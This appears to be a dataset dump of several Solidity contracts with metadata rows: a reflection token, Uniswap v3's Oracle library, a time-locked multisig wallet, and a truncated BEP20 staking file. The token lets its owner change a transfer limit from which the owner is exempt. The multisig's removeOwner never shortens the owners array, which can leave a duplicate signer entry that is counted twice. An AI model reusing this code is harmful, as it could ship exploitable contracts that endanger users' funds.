emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LIF3 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'LIF3';
string private _symbol = 'LIF3';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 1000000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 319,543 | 13,907 |
a937160b3575fa6d6bc70b5b2723f9433355714a3cf5d65f2dcaa46b505d1654
| 16,415 |
.sol
|
Solidity
| false |
519545216
|
harendra-shakya/uniswap-unwrapped
|
f39b8460cf0c8d81097dddad1036d5245dd5b6e0
|
uniswap-v3/v3-core/libraries/Oracle.sol
| 2,988 | 12,860 |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0 <0.8.0;
/// @title Oracle
/// @notice Provides price and liquidity data useful for a wide variety of system designs
/// @dev Instances of stored oracle data, "observations", are collected in the oracle array
/// maximum length of the oracle array. New slots will be added when the array is fully populated.
/// Observations are overwritten when the full length of the oracle array is populated.
library Oracle {
struct Observation {
// the block timestamp of the observation
uint32 blockTimestamp;
// the tick accumulator, i.e. tick * time elapsed since the pool was first initialized
int56 tickCumulative;
uint160 secondsPerLiquidityCumulativeX128;
// whether or not the observation is initialized
bool initialized;
}
/// @param last The specified observation to be transformed
/// @param blockTimestamp The timestamp of the new observation
/// @param tick The active tick at the time of the new observation
/// @param liquidity The total in-range liquidity at the time of the new observation
/// @return Observation The newly populated observation
function transform(Observation memory last,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity) private pure returns (Observation memory) {
uint32 delta = blockTimestamp - last.blockTimestamp;
return
Observation({
blockTimestamp: blockTimestamp,
tickCumulative: last.tickCumulative + int56(tick) * delta,
secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +
((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),
initialized: true
});
}
/// @param self The stored oracle array
/// @param time The time of the oracle initialization, via block.timestamp truncated to uint32
/// @return cardinality The number of populated elements in the oracle array
/// @return cardinalityNext The new length of the oracle array, independent of population
function initialize(Observation[65535] storage self, uint32 time)
internal
returns (uint16 cardinality, uint16 cardinalityNext)
{
self[0] = Observation({
blockTimestamp: time,
tickCumulative: 0,
secondsPerLiquidityCumulativeX128: 0,
initialized: true
});
return (1, 1);
}
/// @notice Writes an oracle observation to the array
/// @param self The stored oracle array
/// @param blockTimestamp The timestamp of the new observation
/// @param tick The active tick at the time of the new observation
/// @param liquidity The total in-range liquidity at the time of the new observation
/// @param cardinality The number of populated elements in the oracle array
/// @param cardinalityNext The new length of the oracle array, independent of population
/// @return indexUpdated The new index of the most recently written element in the oracle array
/// @return cardinalityUpdated The new cardinality of the oracle array
function write(Observation[65535] storage self,
uint16 index,
uint32 blockTimestamp,
int24 tick,
uint128 liquidity,
uint16 cardinality,
uint16 cardinalityNext) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {
Observation memory last = self[index];
// early return if we've already written an observation this block
if (last.blockTimestamp == blockTimestamp) return (index, cardinality);
// if the conditions are right, we can bump the cardinality
if (cardinalityNext > cardinality && index == (cardinality - 1)) {
cardinalityUpdated = cardinalityNext;
} else {
cardinalityUpdated = cardinality;
}
indexUpdated = (index + 1) % cardinalityUpdated;
self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);
}
/// @notice Prepares the oracle array to store up to `next` observations
/// @param self The stored oracle array
/// @param current The current next cardinality of the oracle array
/// @param next The proposed next cardinality which will be populated in the oracle array
/// @return next The next cardinality which will be populated in the oracle array
function grow(Observation[65535] storage self,
uint16 current,
uint16 next) internal returns (uint16) {
require(current > 0, 'I');
// no-op if the passed next value isn't greater than the current next value
if (next <= current) return current;
// store in each slot to prevent fresh SSTOREs in swaps
// this data will not be used because the initialized boolean is still false
for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;
return next;
}
/// @notice comparator for 32-bit timestamps
/// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time
/// @param time A timestamp truncated to 32 bits
/// @param a A comparison timestamp from which to determine the relative position of `time`
/// @param b From which to determine the relative position of `time`
/// @return bool Whether `a` is chronologically <= `b`
function lte(uint32 time,
uint32 a,
uint32 b) private pure returns (bool) {
// if there hasn't been overflow, no need to adjust
if (a <= time && b <= time) return a <= b;
uint256 aAdjusted = a > time ? a : a + 2**32;
uint256 bAdjusted = b > time ? b : b + 2**32;
return aAdjusted <= bAdjusted;
}
/// The result may be the same observation, or adjacent observations.
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param target The timestamp at which the reserved observation should be for
/// @param cardinality The number of populated elements in the oracle array
/// @return beforeOrAt The observation recorded before, or at, the target
/// @return atOrAfter The observation recorded at, or after, the target
function binarySearch(Observation[65535] storage self,
uint32 time,
uint32 target,
uint16 index,
uint16 cardinality) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {
uint256 l = (index + 1) % cardinality; // oldest observation
uint256 r = l + cardinality - 1; // newest observation
uint256 i;
while (true) {
i = (l + r) / 2;
beforeOrAt = self[i % cardinality];
// we've landed on an uninitialized tick, keep searching higher (more recently)
if (!beforeOrAt.initialized) {
l = i + 1;
continue;
}
atOrAfter = self[(i + 1) % cardinality];
bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);
// check if we've found the answer!
if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;
if (!targetAtOrAfter) r = i - 1;
else l = i + 1;
}
}
/// @dev Assumes there is at least 1 initialized observation.
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param target The timestamp at which the reserved observation should be for
/// @param tick The active tick at the time of the returned or simulated observation
/// @param liquidity The total pool liquidity at the time of the call
/// @param cardinality The number of populated elements in the oracle array
/// @return beforeOrAt The observation which occurred at, or before, the given timestamp
/// @return atOrAfter The observation which occurred at, or after, the given timestamp
function getSurroundingObservations(Observation[65535] storage self,
uint32 time,
uint32 target,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {
// optimistically set before to the newest observation
beforeOrAt = self[index];
// if the target is chronologically at or after the newest observation, we can early return
if (lte(time, beforeOrAt.blockTimestamp, target)) {
if (beforeOrAt.blockTimestamp == target) {
// if newest observation equals target, we're in the same block, so we can ignore atOrAfter
return (beforeOrAt, atOrAfter);
} else {
// otherwise, we need to transform
return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));
}
}
// now, set before to the oldest observation
beforeOrAt = self[(index + 1) % cardinality];
if (!beforeOrAt.initialized) beforeOrAt = self[0];
// ensure that the target is chronologically at or after the oldest observation
require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');
// if we've reached this point, we have to binary search
return binarySearch(self, time, target, index, cardinality);
}
/// @dev Reverts if an observation at or before the desired observation timestamp does not exist.
/// 0 may be passed as `secondsAgo' to return the current cumulative values.
/// at exactly the timestamp between the two observations.
/// @param self The stored oracle array
/// @param time The current block timestamp
/// @param tick The current tick
/// @param liquidity The current in-range pool liquidity
/// @param cardinality The number of populated elements in the oracle array
function observeSingle(Observation[65535] storage self,
uint32 time,
uint32 secondsAgo,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {
if (secondsAgo == 0) {
Observation memory last = self[index];
if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);
return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);
}
uint32 target = time - secondsAgo;
(Observation memory beforeOrAt, Observation memory atOrAfter) =
getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);
if (target == beforeOrAt.blockTimestamp) {
// we're at the left boundary
return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);
} else if (target == atOrAfter.blockTimestamp) {
// we're at the right boundary
return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);
} else {
// we're in the middle
uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;
uint32 targetDelta = target - beforeOrAt.blockTimestamp;
return (beforeOrAt.tickCumulative +
((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *
targetDelta,
beforeOrAt.secondsPerLiquidityCumulativeX128 +
uint160((uint256(atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128) * targetDelta) / observationTimeDelta));
}
}
/// @dev Reverts if `secondsAgos` > oldest observation
/// @param self The stored oracle array
/// @param time The current block.timestamp
/// @param tick The current tick
/// @param liquidity The current in-range pool liquidity
/// @param cardinality The number of populated elements in the oracle array
function observe(Observation[65535] storage self,
uint32 time,
uint32[] memory secondsAgos,
int24 tick,
uint16 index,
uint128 liquidity,
uint16 cardinality) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {
require(cardinality > 0, 'I');
tickCumulatives = new int56[](secondsAgos.length);
secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);
for (uint256 i = 0; i < secondsAgos.length; i++) {
(tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(self,
time,
secondsAgos[i],
tick,
index,
liquidity,
cardinality);
}
}
}
| 23,448 | 13,908 |
1bd85f687f4319488cf460b52f9ab3e4f3d2100cdda680d778d83b5c7cac40d9
| 15,602 |
.sol
|
Solidity
| false |
442105662
|
emojidao/double-contract
|
c257f82f82580a8822ca2694d3cc04a5d3097b85
|
contracts/TimeLockMultiSigWallet.sol
| 3,073 | 13,017 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + (temp % 10)));
temp /= 10;
}
return string(buffer);
}
}
contract TimeLockMultiSigWallet {
using Strings for uint256;
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
event NewDelay(uint256 delay);
uint256 public constant VERSION = 20210812;
uint256 public constant MINIMUM_DELAY = 1;
uint256 public constant MAXIMUM_DELAY = 15 days;
uint256 public delay; // delay time
uint256 public constant MAX_OWNER_COUNT = 50;
mapping(uint256 => Transaction) public transactions;
mapping(uint256 => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
uint256 submitTime;
}
modifier onlyWallet() {
require(msg.sender == address(this), "msg.sender != address(this)");
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner], "is already owner");
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner], "is not owner");
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0),
"transactionId is not exists");
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner], "is not confirmed");
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner], "already confirmed");
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed, "already executed");
_;
}
modifier notNull(address _address) {
require(_address != address(0), "_address == address(0)");
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(ownerCount <= MAX_OWNER_COUNT &&
_required <= ownerCount &&
_required != 0 &&
ownerCount != 0,
"error: validRequirement()");
_;
}
/// @dev Fallback function allows to deposit ether.
fallback() external {}
receive() external payable {
if (msg.value > 0) emit Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners,
uint256 _required,
uint256 _delay) validRequirement(_owners.length, _required) {
require(_delay >= MINIMUM_DELAY, "Delay must exceed minimum delay.");
require(_delay <= MAXIMUM_DELAY,
"Delay must not exceed maximum delay.");
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
delay = _delay;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
if (required > (owners.length - 1))
changeRequirement(owners.length - 1);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint256 i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function submitTransaction(address destination,
uint256 value,
bytes memory data) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to batch confirm transactions.
/// @param transactionIdArray Transaction ID array.
function batchConfirmTransaction(uint256[] memory transactionIdArray)
public
{
for (uint256 i = 0; i < transactionIdArray.length; i++) {
confirmTransaction(transactionIdArray[i]);
}
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows an owner to batch execute transactions.
/// @param transactionIdArray Transaction ID array.
function batchExecuteTransaction(uint256[] memory transactionIdArray)
public
{
for (uint256 i = 0; i < transactionIdArray.length; i++) {
executeTransaction(transactionIdArray[i]);
}
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
require(getBlockTimestamp() >=
transactions[transactionId].submitTime + delay,
"The time is not up, the command cannot be executed temporarily!");
require(getBlockTimestamp() <=
transactions[transactionId].submitTime + MAXIMUM_DELAY,
"The maximum execution time has been exceeded, unable to execute!");
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
// address(txn.destination).call(abi.encodeWithSignature(txn.data))
(bool success,) = txn.destination.call{value: txn.value}(txn.data);
if (success) emit Execution(transactionId);
else {
revert(string(abi.encodePacked("The transactionId ",
transactionId.toString(),
" failed.")));
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
if (count == required) return true;
}
return false;
}
function addTransaction(address destination,
uint256 value,
bytes memory data) internal notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false,
submitTime: block.timestamp
});
transactionCount += 1;
emit Submission(transactionId);
}
function getConfirmationCount(uint256 transactionId)
public
view
returns (uint256 count)
{
count = 0;
for (uint256 i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint256 count)
{
count = 0;
for (uint256 i = 0; i < transactionCount; i++)
if ((pending && !transactions[i].executed) ||
(executed && transactions[i].executed)) count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
function getConfirmations(uint256 transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint256 from,
uint256 to,
bool pending,
bool executed) public view returns (uint256[] memory _transactionIds) {
uint256[] memory transactionIdsTemp = new uint256[](transactionCount);
uint256 count = 0;
uint256 i;
for (i = 0; i < transactionCount; i++)
if ((pending && !transactions[i].executed) ||
(executed && transactions[i].executed)) {
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint256[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
function getBlockTimestamp() internal view returns (uint256) {
return block.timestamp;
}
function setDelay(uint256 _delay) public onlyWallet {
require(_delay >= MINIMUM_DELAY, "Delay must exceed minimum delay.");
require(_delay <= MAXIMUM_DELAY,
"Delay must not exceed maximum delay.");
delay = _delay;
emit NewDelay(delay);
}
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4) {
bytes4 received = 0x150b7a02;
return received;
}
}
| 174,452 | 13,909 |
fd30edfa3b6de2db36cbbfaa49b1135bca5f9a918f3646f22d7ad536522db092
| 24,955 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8f/8fb0af97261c7a838959b49eb86a40ac63098038_LianaMaster.sol
| 3,680 | 13,705 |
pragma solidity 0.6.12;
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
